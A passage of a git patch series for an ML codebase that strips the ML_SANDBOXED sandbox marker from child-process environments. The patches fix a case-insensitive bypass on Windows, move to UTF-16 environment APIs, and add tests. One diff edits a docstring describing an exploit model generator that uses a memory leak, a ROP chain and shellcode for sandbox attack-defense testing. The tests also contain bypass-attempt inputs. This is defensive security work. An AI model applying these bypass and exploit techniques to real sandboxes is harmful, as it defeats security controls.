BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED_KEEP_ME=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOX=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(nullptr)); + + // Build a synthetic Windows environment block: NUL-terminated + // "NAME=VALUE" strings back to back, with an extra terminating NUL after + // the last entry's own NUL. + auto appendEntry = [](std::string& block, const std::string& entry) { + block.append(entry); + block.push_back('\0'); + }; + std::string parentBlock; + appendEntry(parentBlock, "PATH=C:\\Windows"); + appendEntry(parentBlock, "ML_SANDBOXED=1"); + appendEntry(parentBlock, "ML_SANDBOXED_KEEP_ME=1"); + appendEntry(parentBlock, "TMP=C:\\Temp"); + parentBlock.push_back('\0'); + + std::string childBlock{ + ml::core::detail::buildChildEnvironmentBlock(parentBlock.c_str())}; + + // Walk the resulting block and confirm ML_SANDBOXED is gone but + // everything else survives, in order, and the block is still + // double-NUL-terminated. + std::vector childEntries; + const char* entry{childBlock.c_str()}; + while (*entry != '\0') { + std::string entryStr(entry); + childEntries.push_back(entryStr); + entry += entryStr.length() + 1; + } + + BOOST_REQUIRE_EQUAL(std::size_t(3), childEntries.size()); + BOOST_REQUIRE_EQUAL(std::string("PATH=C:\\Windows"), childEntries[0]); + BOOST_REQUIRE_EQUAL(std::string("ML_SANDBOXED_KEEP_ME=1"), childEntries[1]); + BOOST_REQUIRE_EQUAL(std::string("TMP=C:\\Temp"), childEntries[2]); + // Two-NUL block terminator: the last byte and the one before it are NUL. + BOOST_TEST_REQUIRE(childBlock.size() >= 2); + BOOST_REQUIRE_EQUAL('\0', childBlock[childBlock.size() - 1]); + BOOST_REQUIRE_EQUAL('\0', childBlock[childBlock.size() - 2]); + + // Empty-environment edge case still produces a valid double-NUL block. + std::string emptyParentBlock; + emptyParentBlock.push_back('\0'); + std::string emptyChildBlock{ + ml::core::detail::buildChildEnvironmentBlock(emptyParentBlock.c_str())}; + BOOST_REQUIRE_EQUAL(std::size_t(2), emptyChildBlock.size()); + BOOST_REQUIRE_EQUAL('\0', emptyChildBlock[0]); + BOOST_REQUIRE_EQUAL('\0', emptyChildBlock[1]); +} +#endif // Windows + BOOST_AUTO_TEST_SUITE_END() diff --git a/test/evil_model_generator.py b/test/evil_model_generator.py index c1906b77a5..edf41610c6 100644 --- a/test/evil_model_generator.py +++ b/test/evil_model_generator.py @@ -19,10 +19,9 @@ read this model performs is an intra-process memory access, not a syscall or filesystem boundary Sandbox2 enforces, so it provides no independent Sandbox2 signal on its own (see that harness's - test_exploit_model docstring, and task-6 defect 3 in - .superpowers/sdd/pr-e-typed-routing.plan/task-6-brief.md). Kept here for - manual/exploratory use and because model_exploit.pt below reuses the same - leak technique as the first stage of its ROP chain. + test_exploit_model docstring). Kept here for manual/exploratory use and + because model_exploit.pt below reuses the same leak technique as the + first stage of its ROP chain. 3. model_exploit.pt - A model that attempts to write files using shellcode manipulation built from the leaked addresses (this is the case test_sandbox2_attack_defense.py actually exercises). From a5a977ba4f760557e2081669d233964461ac5379 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 08:13:56 +0200 Subject: [PATCH 16/36] [ML] Fix case-sensitive ML_SANDBOXED match on Windows env stripping isStrippedChildEnvEntry() in CDetachedProcessSpawner_Windows.cc used ::strncmp (case-sensitive) to match the ML_SANDBOXED marker. Windows environment variable names are case-insensitive OS-wide, and the child-side reader (CSystemCallFilter::sandbox2LaunchedChild() via std::getenv) matches case-insensitively too, so a differently-cased entry such as ml_sandboxed=1 would survive the strip and still be found by the child - reproducing the fail-open bypass the prior fix closed. Switch to ::_strnicmp (case-insensitive strncmp), matching this file's existing narrow-ANSI API usage. POSIX's strncmp is left unchanged since POSIX env var names are case-sensitive. Adds mixed-case coverage to the Windows-only testMlSandboxedStrippedFromChildEnvironmentBlock test. --- lib/core/CDetachedProcessSpawner_Windows.cc | 11 +++++++++-- lib/core/unittest/CDetachedProcessSpawnerTest.cc | 13 +++++++++++++ 2 files changed, 22 insertions(+), 2 deletions(-) diff --git a/lib/core/CDetachedProcessSpawner_Windows.cc b/lib/core/CDetachedProcessSpawner_Windows.cc index 542b1c2c25..0c50e893c2 100644 --- a/lib/core/CDetachedProcessSpawner_Windows.cc +++ b/lib/core/CDetachedProcessSpawner_Windows.cc @@ -41,8 +41,15 @@ bool isStrippedChildEnvEntry(const char* entry) { const std::size_t nameLength{::strlen(SANDBOXEE_MARKER_ENV_NAME)}; // Exact name match only: "ML_SANDBOXED=..." is stripped, // "ML_SANDBOXED_FOO=..." (a different variable that merely shares the - // prefix) is not. - return ::strncmp(entry, SANDBOXEE_MARKER_ENV_NAME, nameLength) == 0 && + // prefix) is not. Windows environment variable names are + // case-INSENSITIVE OS-wide (GetEnvironmentVariable/SetEnvironmentVariable + // and the CRT's getenv all normalise case internally on this platform), + // and the child-side reader (CSystemCallFilter::sandbox2LaunchedChild(), + // via std::getenv) inherits that case-insensitivity. Use ::_strnicmp + // (the MSVC/Windows CRT case-insensitive strncmp) so a differently-cased + // marker such as "ml_sandboxed=1" is still stripped here and cannot + // bypass the filter. + return ::_strnicmp(entry, SANDBOXEE_MARKER_ENV_NAME, nameLength) == 0 && entry[nameLength] == '='; } diff --git a/lib/core/unittest/CDetachedProcessSpawnerTest.cc b/lib/core/unittest/CDetachedProcessSpawnerTest.cc index 424f54e851..61968eb2c3 100644 --- a/lib/core/unittest/CDetachedProcessSpawnerTest.cc +++ b/lib/core/unittest/CDetachedProcessSpawnerTest.cc @@ -212,6 +212,14 @@ BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironmentBlock) { BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED_KEEP_ME=1")); BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOX=1")); BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(nullptr)); + // Windows environment variable names are case-INSENSITIVE OS-wide, and + // the child-side reader (std::getenv, via CSystemCallFilter's + // sandbox2LaunchedChild()) matches case-insensitively too. A + // differently-cased marker must still be recognised and stripped here, + // or it would survive the filter and still be found by the child. + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ml_sandboxed=1")); + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("Ml_Sandboxed=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ml_sandboxed_keep_me=1")); // Build a synthetic Windows environment block: NUL-terminated // "NAME=VALUE" strings back to back, with an extra terminating NUL after @@ -224,6 +232,7 @@ BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironmentBlock) { appendEntry(parentBlock, "PATH=C:\\Windows"); appendEntry(parentBlock, "ML_SANDBOXED=1"); appendEntry(parentBlock, "ML_SANDBOXED_KEEP_ME=1"); + appendEntry(parentBlock, "ml_sandboxed=2"); appendEntry(parentBlock, "TMP=C:\\Temp"); parentBlock.push_back('\0'); @@ -241,6 +250,10 @@ BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironmentBlock) { entry += entryStr.length() + 1; } + // Both the canonically-cased and the differently-cased marker + // ("ml_sandboxed=2") must be stripped: Windows env var lookups are + // case-insensitive, so either form would still be visible to the + // child's std::getenv("ML_SANDBOXED") if it survived here. BOOST_REQUIRE_EQUAL(std::size_t(3), childEntries.size()); BOOST_REQUIRE_EQUAL(std::string("PATH=C:\\Windows"), childEntries[0]); BOOST_REQUIRE_EQUAL(std::string("ML_SANDBOXED_KEEP_ME=1"), childEntries[1]); From 040dfa9d4a1bea8784b4d38d61f30223eebf2bb4 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 08:46:34 +0200 Subject: [PATCH 17/36] [ML] Fix lossy Unicode round-trip in Windows env-stripping (review Fix 3) GetEnvironmentStringsA()/CreateProcessA() round-tripped the parent's native UTF-16 environment through the ANSI code page, silently mangling any value not representable there (e.g. TEMP/USERPROFILE under a non-ASCII Windows username) to '?' for every Windows child - a regression introduced as a side effect of the ML_SANDBOXED stripping. Switch to GetEnvironmentStringsW()/CreateProcessW()/CREATE_UNICODE_ENVIRONMENT end to end so the environment block is never converted at all; the in-process isStrippedChildEnvEntry()/buildChildEnvironmentBlock() pair now operate on wchar_t/std::wstring, matching the case-insensitive _wcsnicmp compare. cmdLine/processPath go through CStringUtils::narrowToWide() purely for CreateProcessW's other two string parameters (a lateral move, not a regression, since CreateProcessA already interpreted them through the ANSI code page). Windows-only test updated accordingly. --- include/core/CDetachedProcessSpawner.h | 65 +++++++--- lib/core/CDetachedProcessSpawner_Windows.cc | 77 +++++++---- .../unittest/CDetachedProcessSpawnerTest.cc | 121 ++++++++++++------ 3 files changed, 181 insertions(+), 82 deletions(-) diff --git a/include/core/CDetachedProcessSpawner.h b/include/core/CDetachedProcessSpawner.h index af0ce5d1b4..2b28f518f3 100644 --- a/include/core/CDetachedProcessSpawner.h +++ b/include/core/CDetachedProcessSpawner.h @@ -23,25 +23,31 @@ namespace core { namespace detail { class CTrackerThread; -//! \return true if \p entry (a "NAME=VALUE" environment entry, or nullptr) is -//! one this class must never pass on to a spawned child. +//! Platform note: the two CDetachedProcessSpawner_*.cc source files are +//! alternatives selected by ml_generate_platform_sources() at build time, +//! not compiled together, so each platform source file defines its own +//! copy of isStrippedChildEnvEntry() (and the platform-appropriate builder +//! below it) - on *nix over \c char environment entries (the encoding +//! \c environ / \c posix_spawn() use), on Windows over \c wchar_t +//! environment entries (the encoding \c GetEnvironmentStringsW() / +//! \c CreateProcessW() use - see the Windows branch below for why the ANSI +//! APIs are not used). //! -//! Today that is exactly \c ML_SANDBOXED, the Sandbox2 sandboxee marker set -//! by lib/sandbox/CSandboxedProcessSpawner_Linux.cc. A child spawned by -//! CDetachedProcessSpawner is never inside Sandbox2, and pytorch_inference -//! skips its own mandatory in-process seccomp filter when it sees -//! \c ML_SANDBOXED=1 (see include/seccomp/CSystemCallFilter.h +//! Today the entry stripped is exactly \c ML_SANDBOXED, the Sandbox2 +//! sandboxee marker set by lib/sandbox/CSandboxedProcessSpawner_Linux.cc. A +//! child spawned by CDetachedProcessSpawner is never inside Sandbox2, and +//! pytorch_inference skips its own mandatory in-process seccomp filter when +//! it sees \c ML_SANDBOXED=1 (see include/seccomp/CSystemCallFilter.h //! sandbox2LaunchedChild()), so inheriting the marker would fail open. //! Matched on the exact name: \c ML_SANDBOXED_ANYTHING is not stripped. //! Exposed for unit testing; not part of this class's public contract. -//! -//! Platform note: the two CDetachedProcessSpawner_*.cc source files are -//! alternatives selected by ml_generate_platform_sources() at build time, -//! not compiled together, so each platform source file defines its own -//! copy of this function. -CORE_EXPORT bool isStrippedChildEnvEntry(const char* entry); #ifndef Windows +//! \return true if \p entry (a "NAME=VALUE" environment entry, or nullptr) +//! is one this class must never pass on to a spawned child. See the +//! namespace-level comment above. +CORE_EXPORT bool isStrippedChildEnvEntry(const char* entry); + //! Build the environment array handed to \c posix_spawn() from //! \p parentEnvironment (normally \c environ): every entry for which //! isStrippedChildEnvEntry() is false, in order, then a NULL terminator. The @@ -49,15 +55,34 @@ CORE_EXPORT bool isStrippedChildEnvEntry(const char* entry); //! so the result must not outlive it. Exposed for unit testing. CORE_EXPORT std::vector buildChildEnvironment(char** parentEnvironment); #else -//! Build the environment block handed to \c CreateProcess() via its +//! \return true if \p entry (a "NAME=VALUE" environment entry, or nullptr, +//! encoded as UTF-16 like the rest of this platform's environment block) is +//! one this class must never pass on to a spawned child. See the +//! namespace-level comment above. Case-insensitive: Windows environment +//! variable names are case-INSENSITIVE OS-wide, and the child-side reader +//! (std::getenv, via CSystemCallFilter::sandbox2LaunchedChild()) matches +//! case-insensitively too, so a differently-cased marker must still be +//! stripped here or it would survive and still be found by the child. +CORE_EXPORT bool isStrippedChildEnvEntry(const wchar_t* entry); + +//! Build the environment block handed to \c CreateProcessW() via its //! \c lpEnvironment parameter from \p parentEnvironmentBlock (normally the -//! result of \c GetEnvironmentStringsA()): a new buffer containing every +//! result of \c GetEnvironmentStringsW()): a new buffer containing every //! "NAME=VALUE" entry from \p parentEnvironmentBlock for which -//! isStrippedChildEnvEntry() is false, in order, formatted per the ANSI -//! environment block convention CreateProcess() requires (a sequence of -//! NUL-terminated strings followed by one extra terminating NUL). Exposed -//! for unit testing. -CORE_EXPORT std::string buildChildEnvironmentBlock(const char* parentEnvironmentBlock); +//! isStrippedChildEnvEntry() is false, in order, formatted per the Unicode +//! environment block convention \c CreateProcessW() requires with +//! \c CREATE_UNICODE_ENVIRONMENT (a sequence of NUL-terminated wide strings +//! followed by one extra terminating NUL). +//! +//! Deliberately native UTF-16 end to end (\c GetEnvironmentStringsW() in, +//! \c CreateProcessW() out, no narrow/wide round trip in between): the +//! previous \c GetEnvironmentStringsA()-based implementation round-tripped +//! the parent's native UTF-16 environment through the ANSI code page, which +//! silently mangles any value not representable in that code page (e.g. +//! \c TEMP / \c USERPROFILE under a non-ASCII Windows username) to '?' for +//! every Windows child - a regression this class must not reintroduce. +//! Exposed for unit testing. +CORE_EXPORT std::wstring buildChildEnvironmentBlock(const wchar_t* parentEnvironmentBlock); #endif } diff --git a/lib/core/CDetachedProcessSpawner_Windows.cc b/lib/core/CDetachedProcessSpawner_Windows.cc index 0c50e893c2..ef5d420c4a 100644 --- a/lib/core/CDetachedProcessSpawner_Windows.cc +++ b/lib/core/CDetachedProcessSpawner_Windows.cc @@ -19,7 +19,10 @@ #include #include +#include + #include +#include #include namespace { @@ -27,38 +30,38 @@ namespace { //! Environment variable name (without '=') that must never be inherited by a //! child spawned by this class. See //! ml::core::detail::isStrippedChildEnvEntry(). -const char* SANDBOXEE_MARKER_ENV_NAME{"ML_SANDBOXED"}; +const wchar_t* SANDBOXEE_MARKER_ENV_NAME{L"ML_SANDBOXED"}; } namespace ml { namespace core { namespace detail { -bool isStrippedChildEnvEntry(const char* entry) { +bool isStrippedChildEnvEntry(const wchar_t* entry) { if (entry == nullptr) { return false; } - const std::size_t nameLength{::strlen(SANDBOXEE_MARKER_ENV_NAME)}; + const std::size_t nameLength{::wcslen(SANDBOXEE_MARKER_ENV_NAME)}; // Exact name match only: "ML_SANDBOXED=..." is stripped, // "ML_SANDBOXED_FOO=..." (a different variable that merely shares the // prefix) is not. Windows environment variable names are // case-INSENSITIVE OS-wide (GetEnvironmentVariable/SetEnvironmentVariable // and the CRT's getenv all normalise case internally on this platform), // and the child-side reader (CSystemCallFilter::sandbox2LaunchedChild(), - // via std::getenv) inherits that case-insensitivity. Use ::_strnicmp - // (the MSVC/Windows CRT case-insensitive strncmp) so a differently-cased + // via std::getenv) inherits that case-insensitivity. Use ::_wcsnicmp + // (the MSVC/Windows CRT case-insensitive wcsncmp) so a differently-cased // marker such as "ml_sandboxed=1" is still stripped here and cannot // bypass the filter. - return ::_strnicmp(entry, SANDBOXEE_MARKER_ENV_NAME, nameLength) == 0 && - entry[nameLength] == '='; + return ::_wcsnicmp(entry, SANDBOXEE_MARKER_ENV_NAME, nameLength) == 0 && + entry[nameLength] == L'='; } -std::string buildChildEnvironmentBlock(const char* parentEnvironmentBlock) { - std::string block; +std::wstring buildChildEnvironmentBlock(const wchar_t* parentEnvironmentBlock) { + std::wstring block; if (parentEnvironmentBlock != nullptr) { - const char* entry{parentEnvironmentBlock}; - while (*entry != '\0') { - std::size_t entryLength{::strlen(entry)}; + const wchar_t* entry{parentEnvironmentBlock}; + while (*entry != L'\0') { + std::size_t entryLength{::wcslen(entry)}; if (isStrippedChildEnvEntry(entry) == false) { // Include the entry's own terminating NUL. block.append(entry, entryLength + 1); @@ -70,9 +73,9 @@ std::string buildChildEnvironmentBlock(const char* parentEnvironmentBlock) { // entry's own terminator. Handle the (unlikely) empty-block case // explicitly so it is still correctly double-NUL-terminated. if (block.empty()) { - block.append(std::size_t(2), '\0'); + block.append(std::size_t(2), L'\0'); } else { - block.push_back('\0'); + block.push_back(L'\0'); } return block; } @@ -227,13 +230,25 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, cmdLine += CShellArgQuoter::quote(args[index]); } - STARTUPINFO startupInfo; - ::memset(&startupInfo, 0, sizeof(STARTUPINFO)); - startupInfo.cb = sizeof(STARTUPINFO); + STARTUPINFOW startupInfo; + ::memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + startupInfo.cb = sizeof(STARTUPINFOW); PROCESS_INFORMATION processInformation; ::memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + // CreateProcessW (not CreateProcessA) is used throughout this function + // because lpEnvironment below must be a native UTF-16 block passed with + // CREATE_UNICODE_ENVIRONMENT - CreateProcess() does not support mixing + // an ANSI command line/application name with a Unicode environment + // block. processPath/cmdLine are converted to wide strings with + // CStringUtils::narrowToWide() (the established conversion helper in + // this codebase) purely for this call; they are not the source of the + // regression this switch fixes (see below). + const std::wstring wideProcessPath{CStringUtils::narrowToWide( + processPathHasExeExt ? processPath : processPath + ".exe")}; + std::wstring wideCmdLine{CStringUtils::narrowToWide(cmdLine)}; + // The child inherits this process's environment with ML_SANDBOXED // removed. That variable is the Sandbox2 sandboxee marker (see // lib/sandbox/CSandboxedProcessSpawner_Linux.cc) and pytorch_inference @@ -249,11 +264,19 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, // lpEnvironment (rather than 0, which would make CreateProcess() // inherit this process's environment completely unfiltered) is what // makes this stripping effective. - LPSTR parentEnvironmentBlock{::GetEnvironmentStringsA()}; - std::string childEnvironmentBlock{ + // + // GetEnvironmentStringsW()/CreateProcessW() end to end, deliberately: + // the parent's environment is native UTF-16, and reading it via the + // ANSI GetEnvironmentStringsA() (as this used to) round-trips it + // through the ANSI code page, which silently mangles any value not + // representable there (e.g. TEMP/USERPROFILE under a non-ASCII Windows + // username) to '?' for every Windows child - a regression the addition + // of this stripping logic must not introduce as a side effect. + LPWSTR parentEnvironmentBlock{::GetEnvironmentStringsW()}; + std::wstring childEnvironmentBlock{ detail::buildChildEnvironmentBlock(parentEnvironmentBlock)}; if (parentEnvironmentBlock != 0) { - ::FreeEnvironmentStringsA(parentEnvironmentBlock); + ::FreeEnvironmentStringsW(parentEnvironmentBlock); } { @@ -262,9 +285,9 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, // quickly CScopedLock lock(m_TrackerThread->mutex()); - if (CreateProcess( - (processPathHasExeExt ? processPath : processPath + ".exe").c_str(), - const_cast(cmdLine.c_str()), 0, 0, FALSE, + if (CreateProcessW( + wideProcessPath.c_str(), const_cast(wideCmdLine.c_str()), 0, + 0, FALSE, // The CREATE_NO_WINDOW flag is used instead of // DETACHED_PROCESS, as Windows does not create the file handles // that underlie stdin, stdout and stderr if a process has no @@ -275,8 +298,12 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, // None of this would be a problem if we redirected stderr using // freopen(), but instead we redirect the underlying OS level // file handles so that we can revert the redirection. - CREATE_NEW_PROCESS_GROUP | CREATE_NO_WINDOW, - const_cast(childEnvironmentBlock.data()), 0, &startupInfo, + // CREATE_UNICODE_ENVIRONMENT tells CreateProcessW() that + // lpEnvironment below is a native UTF-16 block (the default, + // without this flag, is an ANSI block, which would silently + // misinterpret it). + CREATE_NEW_PROCESS_GROUP | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, + const_cast(childEnvironmentBlock.data()), 0, &startupInfo, &processInformation) == FALSE) { LOG_ERROR(<< "Failed to spawn '" << processPath << "': " << CWindowsError()); return false; diff --git a/lib/core/unittest/CDetachedProcessSpawnerTest.cc b/lib/core/unittest/CDetachedProcessSpawnerTest.cc index 61968eb2c3..79ea399d6d 100644 --- a/lib/core/unittest/CDetachedProcessSpawnerTest.cc +++ b/lib/core/unittest/CDetachedProcessSpawnerTest.cc @@ -51,6 +51,47 @@ const std::string PROCESS_ARGS1[] = { const std::string PROCESS_PATH2("/bin/sleep"); const std::string PROCESS_ARGS2[] = {"10"}; #endif + +#ifndef Windows +//! RAII guard that sets an environment variable for the duration of a scope +//! and restores whatever was there before (or unsets it, if it was unset) +//! on destruction - including when the scope is exited via an exception, +//! e.g. a failed BOOST_REQUIRE* mid-test. Without this, an early test +//! failure could skip a manual unSetEnv() call at the end of a test +//! function and leak the variable into every subsequent test in this +//! binary's process. Same idiom as +//! bin/controller/unittest/CCommandProcessorTest.cc's +//! CScopedSandbox2DefaultEnforced and +//! bin/controller/unittest/CProcessSpawnerRouterTest.cc's +//! CScopedChildIpcRoot. +class CScopedEnvVar { +public: + CScopedEnvVar(std::string name, const char* value) : m_Name(std::move(name)) { + const char* previous{std::getenv(m_Name.c_str())}; + m_HadPreviousValue = previous != nullptr; + if (m_HadPreviousValue) { + m_PreviousValue.assign(previous); + } + BOOST_REQUIRE_EQUAL(0, ml::core::CSetEnv::setEnv(m_Name.c_str(), value, 1)); + } + + ~CScopedEnvVar() { + if (m_HadPreviousValue) { + ml::core::CSetEnv::setEnv(m_Name.c_str(), m_PreviousValue.c_str(), 1); + } else { + ml::core::CUnSetEnv::unSetEnv(m_Name.c_str()); + } + } + + CScopedEnvVar(const CScopedEnvVar&) = delete; + CScopedEnvVar& operator=(const CScopedEnvVar&) = delete; + +private: + std::string m_Name; + std::string m_PreviousValue; + bool m_HadPreviousValue{false}; +}; +#endif // !Windows } BOOST_AUTO_TEST_CASE(testSpawn) { @@ -137,8 +178,8 @@ BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironment) { // spawned by this class is never inside Sandbox2, so it must never // inherit the marker - not even when the spawning process's own // environment carries it. - BOOST_REQUIRE_EQUAL(0, ml::core::CSetEnv::setEnv("ML_SANDBOXED", "1", 1)); - BOOST_REQUIRE_EQUAL(0, ml::core::CSetEnv::setEnv("ML_SANDBOXED_KEEP_ME", "1", 1)); + CScopedEnvVar scopedSandboxed{"ML_SANDBOXED", "1"}; + CScopedEnvVar scopedKeepMe{"ML_SANDBOXED_KEEP_ME", "1"}; // Pure form: the array handed to posix_spawn() drops ML_SANDBOXED, // keeps everything else in order, and is NULL terminated. Exact-name @@ -192,8 +233,8 @@ BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironment) { BOOST_REQUIRE_EQUAL(std::string("[unset][1]"), dumped); std::remove(envDumpFile.c_str()); - ml::core::CUnSetEnv::unSetEnv("ML_SANDBOXED"); - ml::core::CUnSetEnv::unSetEnv("ML_SANDBOXED_KEEP_ME"); + // scopedSandboxed/scopedKeepMe restore the environment on scope exit, + // including if a BOOST_REQUIRE* above already failed. } #endif // !Windows @@ -205,47 +246,53 @@ BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironmentBlock) { // include/seccomp/CSystemCallFilter.h sandbox2LaunchedChild()). A child // spawned by this class is never inside Sandbox2, so it must never // inherit the marker via the environment block passed to - // CreateProcess()'s lpEnvironment parameter - not even when the + // CreateProcessW()'s lpEnvironment parameter - not even when the // spawning process's own environment carries it. - BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED=1")); - BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED=")); - BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED_KEEP_ME=1")); - BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOX=1")); + // + // Operates on wchar_t/std::wstring throughout, matching + // GetEnvironmentStringsW()/CreateProcessW() end to end - not the ANSI + // GetEnvironmentStringsA()/CreateProcessA() this used to test, which + // round-tripped the parent's native UTF-16 environment through the ANSI + // code page and could silently mangle non-ASCII values. + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry(L"ML_SANDBOXED=1")); + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry(L"ML_SANDBOXED=")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(L"ML_SANDBOXED_KEEP_ME=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(L"ML_SANDBOX=1")); BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(nullptr)); // Windows environment variable names are case-INSENSITIVE OS-wide, and // the child-side reader (std::getenv, via CSystemCallFilter's // sandbox2LaunchedChild()) matches case-insensitively too. A // differently-cased marker must still be recognised and stripped here, // or it would survive the filter and still be found by the child. - BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ml_sandboxed=1")); - BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("Ml_Sandboxed=1")); - BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ml_sandboxed_keep_me=1")); + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry(L"ml_sandboxed=1")); + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry(L"Ml_Sandboxed=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(L"ml_sandboxed_keep_me=1")); // Build a synthetic Windows environment block: NUL-terminated // "NAME=VALUE" strings back to back, with an extra terminating NUL after // the last entry's own NUL. - auto appendEntry = [](std::string& block, const std::string& entry) { + auto appendEntry = [](std::wstring& block, const std::wstring& entry) { block.append(entry); - block.push_back('\0'); + block.push_back(L'\0'); }; - std::string parentBlock; - appendEntry(parentBlock, "PATH=C:\\Windows"); - appendEntry(parentBlock, "ML_SANDBOXED=1"); - appendEntry(parentBlock, "ML_SANDBOXED_KEEP_ME=1"); - appendEntry(parentBlock, "ml_sandboxed=2"); - appendEntry(parentBlock, "TMP=C:\\Temp"); - parentBlock.push_back('\0'); - - std::string childBlock{ + std::wstring parentBlock; + appendEntry(parentBlock, L"PATH=C:\\Windows"); + appendEntry(parentBlock, L"ML_SANDBOXED=1"); + appendEntry(parentBlock, L"ML_SANDBOXED_KEEP_ME=1"); + appendEntry(parentBlock, L"ml_sandboxed=2"); + appendEntry(parentBlock, L"TMP=C:\\Temp"); + parentBlock.push_back(L'\0'); + + std::wstring childBlock{ ml::core::detail::buildChildEnvironmentBlock(parentBlock.c_str())}; // Walk the resulting block and confirm ML_SANDBOXED is gone but // everything else survives, in order, and the block is still // double-NUL-terminated. - std::vector childEntries; - const char* entry{childBlock.c_str()}; - while (*entry != '\0') { - std::string entryStr(entry); + std::vector childEntries; + const wchar_t* entry{childBlock.c_str()}; + while (*entry != L'\0') { + std::wstring entryStr(entry); childEntries.push_back(entryStr); entry += entryStr.length() + 1; } @@ -255,22 +302,22 @@ BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironmentBlock) { // case-insensitive, so either form would still be visible to the // child's std::getenv("ML_SANDBOXED") if it survived here. BOOST_REQUIRE_EQUAL(std::size_t(3), childEntries.size()); - BOOST_REQUIRE_EQUAL(std::string("PATH=C:\\Windows"), childEntries[0]); - BOOST_REQUIRE_EQUAL(std::string("ML_SANDBOXED_KEEP_ME=1"), childEntries[1]); - BOOST_REQUIRE_EQUAL(std::string("TMP=C:\\Temp"), childEntries[2]); + BOOST_REQUIRE(std::wstring(L"PATH=C:\\Windows") == childEntries[0]); + BOOST_REQUIRE(std::wstring(L"ML_SANDBOXED_KEEP_ME=1") == childEntries[1]); + BOOST_REQUIRE(std::wstring(L"TMP=C:\\Temp") == childEntries[2]); // Two-NUL block terminator: the last byte and the one before it are NUL. BOOST_TEST_REQUIRE(childBlock.size() >= 2); - BOOST_REQUIRE_EQUAL('\0', childBlock[childBlock.size() - 1]); - BOOST_REQUIRE_EQUAL('\0', childBlock[childBlock.size() - 2]); + BOOST_REQUIRE(L'\0' == childBlock[childBlock.size() - 1]); + BOOST_REQUIRE(L'\0' == childBlock[childBlock.size() - 2]); // Empty-environment edge case still produces a valid double-NUL block. - std::string emptyParentBlock; - emptyParentBlock.push_back('\0'); - std::string emptyChildBlock{ + std::wstring emptyParentBlock; + emptyParentBlock.push_back(L'\0'); + std::wstring emptyChildBlock{ ml::core::detail::buildChildEnvironmentBlock(emptyParentBlock.c_str())}; BOOST_REQUIRE_EQUAL(std::size_t(2), emptyChildBlock.size()); - BOOST_REQUIRE_EQUAL('\0', emptyChildBlock[0]); - BOOST_REQUIRE_EQUAL('\0', emptyChildBlock[1]); + BOOST_REQUIRE(L'\0' == emptyChildBlock[0]); + BOOST_REQUIRE(L'\0' == emptyChildBlock[1]); } #endif // Windows From 6ba11c73881455830f50efcc0b0cd3a8b769bb9a Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 08:46:43 +0200 Subject: [PATCH 18/36] [ML] Add sandbox2_compiled_in field to H4 signal (review Fix 4) A Linux build WITH Sandbox2 support and one WITHOUT it emitted identical H4 signals (route:"legacy", legacy_reason:"dormant_default", mode:"degraded") for every plain launch under the shipped dormant default. Add an additive "sandbox2_compiled_in" boolean, sourced once from sandbox::CMlSandboxAvailability::isCompiledIn() (a build-time constant, not per-launch state) and emitted on every signal line regardless of route - unlike legacy_reason. Lets PR F's rollout logic distinguish "supported but dormant" from "not capable at all". Documented in docs/sandbox2_production_failure_modes.md's field table and both example lines; covered by a new test. Also fixes testH4SignalEscapesControlCharactersInDeploymentId, which searched for the JSON line's end via the literal "mode":"degraded"} - no longer 